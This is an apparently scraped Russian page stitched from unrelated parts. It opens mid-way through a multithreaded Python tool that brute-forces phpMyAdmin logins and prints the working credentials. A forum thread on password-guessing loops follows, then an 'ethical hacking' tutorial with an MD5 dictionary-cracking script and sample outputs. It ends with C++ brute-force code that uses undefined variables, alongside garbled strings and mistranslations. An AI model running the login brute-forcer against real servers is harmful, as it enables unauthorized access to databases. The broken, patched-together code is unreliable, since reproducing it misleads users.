        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value

class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization

class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('nThi's target not phpmyadmin paneln')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('nCould not find filen')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('nGiven number of threads, not an integer or entered incorrectlyn')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads

class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass

class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()

Заключение и тестирование нашей программы

Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.

Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.

speed_my_brute.png

Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.

Буду ждать комментариев.

Tsunami_921

1 / 0 / 1

Регистрация: 23.11.2019

Сообщений: 31

1

Скрипт подбора пароля

21.12.2019, 22:15. Показов 51551. Ответов 6

Метки нет (Все метки)


Не получается написать скрипт для последовательного подбора пароля.
Не надо говорить что этот скрипт работает через random.
random подбирает случайные числа.

Python
1
2
3
4
5
6
7
8
9
10
11
import random
x=""
password="29121998"
while x!=password:
    x=""
    while len(x)!=len(password):
        y=random.randrange(10)
        x=str(x)+str(y)
    print(x)
print("Password:",x)
#на подбор пароля ушло около 5 часов

Мне же надо чтобы он работал со списками и последовательно выбирал объекты из этого списка по индексу.
Например:
от списка [«A»,»B»,»C»,»D»]
Идёт подбор пароля начинающийся с
AAAA
AAAB
AAAC
AAAD
AABA
AACA
AADA
AABB
AABC
AABD
AACB
AACC
AACD
AADB
AADC
AADD
Ну в общем я думаю схема ясна…
Типа двоичного кода но с расширенным алфавитом.
Может кто сказать/показать как реализовать такое?

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Programming

Эксперт

94731 / 64177 / 26122

Регистрация: 12.04.2006

Сообщений: 116,782

21.12.2019, 22:15

Ответы с готовыми решениями:

Програма подбора пароля
Помогите написать программу для подбора пароля на с++.
Смысл в том, чтоб при написании в консоль…

Процедура подбора пароля
Ты внимательно читал что я написал? О какой программе взлома может идти речь? если в условии…

Программа для подбора пароля
Доброго времени суток!
Пытаюсь написать программу для подбора пароля. Брут форс:)
Сейчас пытаюсь…

Программа для подбора пароля
Написал программу в которой должен ввести логин и пароль. Хочу написать отдельную программу для…

6

codcw

814 / 526 / 214

Регистрация: 22.12.2017

Сообщений: 1,495

22.12.2019, 01:27

2

с цифрами просто:

Python
1
2
3
4
5
6
7
8
9
10
password='29121998'
x=range(9999999,99999999)
from time import time
t1=time()
for i in x:
    if str(i)==password:
        print('password is ',i)
        break
t2=time()
print('time: ',t2-t1)

если нужно конкретно по списку, почитайте про функцию product в библиотеке itertools



0



1 / 0 / 1

Регистрация: 23.11.2019

Сообщений: 31

23.12.2019, 20:26

 [ТС]

3

Не сработает если первая цифра пароля «0»



0



Рыжий Лис

Просто Лис

Эксперт Python

4865 / 3183 / 997

Регистрация: 17.05.2012

Сообщений: 9,294

Записей в блоге: 9

24.12.2019, 08:39

4

Python
1
2
>>> '{:08}'.format(9999999)
'09999999'

Добавлено через 4 минуты
Хотя, числа должны быстрее сравниваться:

Python
1
2
3
4
5
6
7
8
9
10
11
12
import time
 
password = '09121998'
 
pass_int = int(password)
t1 = time.time()
for i in range(0, 10 ** len(password)):
    if i == pass_int:
        print('password is "{:0{w}}"'.format(i, w=len(password)))
        break
 
print('time: ', time.time() - t1)

Код

password is "09121998"
time:  0.8315978050231934



1



513 / 145 / 27

Регистрация: 18.04.2015

Сообщений: 1,872

Записей в блоге: 15

24.12.2019, 10:21

5

Цитата
Сообщение от Tsunami_921
Посмотреть сообщение

random подбирает случайные числа.

Зацепила задачка…
думаю, чтобы оптимизировать скорость — надо добавить элемент в перебор паролей

чтобы перебирало сначала

Цифра (от 0 до 9) / рандом длиной от 0 до 9 (с учетом первой цифры)

тогда минимум в 3 раза сократится
время перебора



0



1 / 0 / 1

Регистрация: 23.11.2019

Сообщений: 31

24.12.2019, 11:39

 [ТС]

6

Рыжий Лис, Не совсем понял как это работает…
Например:
Что такое «{:0{w}}»
Что делает функция.format
Какие числа перебирает range(0,10 ** len(password))
И что в себе содержит w



0



Рыжий Лис

Просто Лис

Эксперт Python

4865 / 3183 / 997

Регистрация: 17.05.2012

Сообщений: 9,294

Записей в блоге: 9

24.12.2019, 11:57

7

https://pyformat.info/

Просто число обратно в строку конвертирует и добивает слева нулями.

Добавлено через 41 секунду

Цитата
Сообщение от Tsunami_921
Посмотреть сообщение

Какие числа перебирает range(0,10 ** len(password))

от нуля до 9999 (количество девяток == длине пароля).

Добавлено через 1 минуту

Python
1
2
3
password = '00'
for i in range(0, 10 ** len(password)):
    print(i)



0



Инженер информационных технологий, участвующий в шифровании мира, должен знать основы взлома. Взлом – это процесс получения доступа к системе, которого у нас быть не должно.

Например, вход в учетную запись электронной почты без авторизации является частью взлома этой учетной записи. Получение доступа к компьютеру или мобильному телефону без авторизации – это взлом. Существует множество способов, которыми пользователь может взломать систему, и основная концепция взлома та же самая: взлом системы без какой-либо аутентификации.

Автор статьи не несет ответственности за использование исходного кода. Данный материал выложен исключительно для ознакомления и не побуждает к противоправным действиям. Наоборот, статья написана в помощь разработчикам, чтобы понимать как устроен хакинг и как вы можете от него защититься.

Этический хакинг – взлом с помощью Python не ограничивается взломом паролей или кражей данных. Он используется для сканирования уязвимостей и обнаружения потенциальных угроз в компьютерной системе или сетях. Этичные хакеры находят слабые места или лазейки в системе, приложениях или сетях и сообщают о них организации.

Существуют разные типы хакеров, вот некоторые из них:

  • Черные хакеры. Хакеры Black Hat – это люди, которые неэтично проникли на сайт для получения данных с административного портала или для манипулирования данными. В основном они делают это для получения прибыли или для получения личных данных. Их основная цель – нанести компании серьезный ущерб, а это может привести даже к опасным последствиям.
  • Белые хакеры. Это хакеры, которые ищут ошибки и сообщают о них организациям или фирмам с соблюдением этических норм. Они авторизованы как пользователи для тестирования и проверки ошибок в сетях или веб-сайтах и сообщают об этом разработчикам или уполномоченным лицам. Хакер в белой шляпе обычно получает всю необходимую информацию о веб-сайте или сетевой системе, которые они тестируют, от самой фирмы. Взломав систему с авторизацией, они могут спасти сайт от злоумышленников в будущем.
  • Серые хакеры. Эти типы хакеров получают доступ к данным веб-сайта или сети и нарушают кибер-закон. Но у них нет таких же намерений, как у хакеров Black Hat. Они взламывают систему для общего блага, но они так же отличаются от белых хакеров, поскольку они используют уязвимости публично, а хакеры в белой шляпе делают это в частном порядке для фирмы или организации.

Использование Python для программирования взлома

Язык Python широко используется для общих целей, и это язык программирования высокого уровня. Это очень простой и мощный язык сценариев с открытым исходным кодом и объектно-ориентированный.

Python имеет встроенные библиотеки, которые можно использовать для различных функций, и взлом – одна из них. Python очень популярен и пользуется большим спросом на рынке. Изучение того, как взломать с помощью Python, поможет лучше понять язык.

Как взламывают пароли?

Как известно, пароли веб-сайтов или файлов не хранятся в виде простого текста в базе данных веб-сайтов. В этом уроке мы собираемся взломать простой текст, защищенный паролем. В простом тексте пароли хранятся в хешированном (md5) формате.

Итак, пользователь должен взять input_hashed (который представляет собой хешированный пароль, хранящийся в базе данных), а затем он должен попытаться сравнить его с хешированием (md5) каждого простого текстового пароля, который можно найти в файле паролей.

Когда будет найдено совпадение хешированного пароля, пользователь может отобразить пароль в виде простого текста, который хранится в файле паролей. Но если пароль не найден в файле входных паролей, то будет отображаться, что «Пароль не найден», это происходит только при переполнении буфера.

Эти типы хакерских атак считаются «атаками по словарю».

Пример:

 
import hashlib 
print("# # # # # #  Password Hacking # # # # # #") 
         
# to check if the password is found or not in the text file. 
password_found = 0                                      
  
input_hashed = input(" Please enter the hashed password: ") 
  
password_document = input(" n Please enter the passwords file name including its path(root / home/): ") 
   
try: 
    # here, we will try to open the passwords text file. 
    password_file = open(password_document, 'r')              
except: 
    print("Error: ") 
    print(password_document, "is not found.n Please enter the path of file correctly.") 
    quit() 
  
  
# now, for comparing the input_hashed with the hashes of the words present in the password text file for finding the password. 
  
for word in password_file: 
    # to encode the word into utf-8 format 
    encoding_word = word.encode('utf-8')  
              
    # to Hash the word into md5 hash 
    hashed_word = hashlib.md5(encoding_word.strip())   
   
    # to digest that the hash into the hexadecimal value     
    digesting = hashed_word.hexdigest()         
       
    if digesting == input_hashed: 
        # to compare the hashes 
        print("Password found.n The required password is: ", word)   
        password_found = 1 
        break 
  
# if the password is not found in the text file. 
if not password_found: 
    print(" The password is not found in the ", password_document, "file")   
    print('n') 
print(" # # # # # # Thank you # # # # # # ") 

Вход 1:

 
# # # # # #  Password Hacking # # # # # # 
 Please enter the hashed password:  1f23a6ea2da3425697d6446cf3402124 
  
Please enter the passwords file name including its path(root / home/):  passwords.txt 

Выход:

Password found. 
 The required password is:  manchester123 
 
 # # # # # # Thank you # # # # # # 

Вход 2:

 
# # # # # #  Password Hacking # # # # # # 
 Please enter the hashed password:  b24aefc835df9ff09ef4dddc4f817737 
  
 Please enter the passwords file name including its path(root / home/):  passwords.txt 

Выход:

Password found. 
 The required password is:  heartbreaker07 
 
 # # # # # # Thank you # # # # # # 

Ввод 3:

# # # # # # Взлом пароля # # # # # #

Пожалуйста, введите хешированный пароль: 33816712db4f3913ee967469fe7ee982

Введите имя файла паролей, включая путь к нему (root / home /): passwords.txt

Выход:

Пароль не найден в файле passwords.txt.

Объяснение:

В приведенном выше коде мы сначала импортировали модуль «hashlib», поскольку он содержит различные методы, которые могут обрабатывать хеширование любого необработанного сообщения в зашифрованном методе. Пользователь должен ввести хешированный пароль и местоположение текстового файла паролей.

Затем необходимо открыть текстовый файл, но если он не найден в указанном месте, выводится сообщение об ошибке «Файл не найден».

Затем мы сравниваем введенный хешированный пароль с хешированными словами, присутствующими в текстовом файле, чтобы найти правильный пароль; для этого мы должны закодировать слова в формате utf-8, а затем хешировать слова в хеш md5 и перевести хешированное слово в шестнадцатеричные значения.

Если переведенное значение равно входному хэш-паролю, он распечатает найденный пароль и его правильное значение. Но если пароль не найден, это означает, что значение не совпадает с введенным хеш-паролем. Будет напечатано «Пароль не найден».

Заключение

В этом руководстве мы обсудили этический взлом в Python, а также показали пример того, как взломать пароль.

Изучаю Python вместе с вами, читаю, собираю и записываю информацию опытных программистов.

Ну давайте разберемся как именно генерируется пароль

  1. сначала выбирается сколько слов из словаря будет выбрано для пароля — переменная max (по умолчанию 1)

  2. далее из словаря выбирается слово

  3. слово дублируется 3 раза, причем после последнего дублирования ставится «_»

Правда sdf_a_safasfasfasdf с таким алгоритмом не получится, скорее должно было бы получиться sdfsdfsdf_aa_

Чтобы забрутформить надо воспроизвести тот же самый алгоритм, только перебрать все слова из словаря:

// формируем очередное звено пароля
void prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
    // если сформировано уже максимальное кол-во звеньев - проверить пароль и - выйти
    if (level >= max_level) {
        if (gen == pass)
            std::cout << "Пароль найден!";

        return;
    }

    // перебрать все слова в словаре для данного звена пароля:
    const int pwLen = 3;

    for (const std::string& word: dict) {
        std::string tmp_res = res;
    
        for (int index = 0; index < 3; index ++)
            res += word + ((index < pwLen - 1) ? "" : "_");

        // сформировать следующее звено пароля
        prepare(tmp_res, pass, level + 1, max_level, dict);
    }
}

std::string res = "";
prepare(res, "sdfsdfsdf_aa_xxx_", 0, 3, dict);

Если размер пароля (кол-во слов из словаря) не фиксировано, тогда будет выглядеть чуть по другому:

Надо проверять пароль после генерации всегда, а max_level использовать просто для ограничения максимального размера пароля

// формируем очередное звено пароля
void prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
    // проверить пароль
    if (gen == pass) {
        std::cout << "Пароль найден!";
        return;
    }

    // если сформировано уже максимальное кол-во звеньев - выйти
    if (level >= max_level) {    
        return;
    }

    // перебрать все слова в словаре для данного звена пароля:
    const int pwLen = 3;

    for (const std::string& word: dict) {
        std::string tmp_res = res;
    
        for (int index = 0; index < 3; index ++)
            res += word + ((index < pwLen - 1) ? "" : "_");

        // сформировать следующее звено пароля
        prepare(tmp_res, pass, level + 1, max_level, dict);
    }
}

std::string res = "";
prepare(res, "sdfsdfsdf_aa_xxx_", 0, 1000, dict);

Для оптимизации надо сделать так, чтобы если пароль найден на каком-то этапе, то дальше не продолжать работу:

// формируем очередное звено пароля
bool prepare(std::string& text, const std::string& pass, const int level, const int max_level, const std::vector<std::string>& dict) {
    // проверить пароль
    if (gen == pass) {
        std::cout << "Пароль найден!";
        return true;
    }

    // если сформировано уже максимальное кол-во звеньев - выйти
    if (level >= max_level) {    
        return false;
    }

    // перебрать все слова в словаре для данного звена пароля:
    const int pwLen = 3;

    for (const std::string& word: dict) {
        std::string tmp_res = res;
    
        for (int index = 0; index < 3; index ++)
            res += word + ((index < pwLen - 1) ? "" : "_");

        // сформировать следующее звено пароля
        const bool is_success = prepare(tmp_res, pass, level + 1, max_level, dict);

        // если пароль был найден - ничего уже не делать
        if (is_success == true)
            return true;
    }

    return false;
}

Понравилась статья? Поделить с друзьями:
  • Как написать программу на двоичном коде
  • Как написать программу на грант
  • Как написать программу для перебора паролей
  • Как написать программу на битрикс
  • Как написать программу для начинающих